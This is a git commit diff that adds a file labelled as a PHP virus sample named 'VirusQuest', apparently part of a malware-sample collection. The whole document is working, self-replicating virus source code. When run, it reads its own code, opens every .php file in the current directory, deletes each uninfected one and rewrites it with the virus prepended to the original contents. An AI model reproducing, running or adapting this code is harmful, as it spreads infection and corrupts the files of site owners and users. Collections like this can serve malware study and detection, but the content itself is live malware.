Add files via upload

PHP/Virus.PHP.Virdrus

@@ -0,0 +1,44 @@
+<?php
+function virusquest()
+{
+// Virus: VirusQuest
+// Written by Dr Virus Quest
+// Created on 08/09/2003
+$c = "";
+$f = fopen (__FILE__, "r");
+$c = fread ($f, filesize (__FILE__));
+fclose ($f);
+$c = substr($c,0,2048);
+$handle=opendir('.');
+while (($file = readdir($handle))!==false) {
+if ($file != "." && $file != "..") 
+ {
+$s = substr($file, -3);
+if ($s=="php") 
+   {
+	$g = fopen ($file, "r"); 
+	$cont = fread ($g,filesize ($file));      
+	fclose ($g);
+	if (!strstr($cont,"[VirusQuest]"))
+	{
+	unlink("$file");
+	$g = fopen ($file, "a+"); 
+	fwrite ($g,"$c");      	
+	fwrite ($g,"\n");
+	fwrite ($g,"Virus: VirusQuest\n");
+	fwrite ($g,"Written by Dr Virus Quest\n");
+	fwrite ($g,"Created on 08/09/2003\n");
+	fwrite ($g,"\n");
+	fwrite ($g,substr($cont,5));
+	fclose ($g);
+	}
+   }
+
+ }
+
+}
+
+closedir($handle); 
+}
+virusquest();
+?>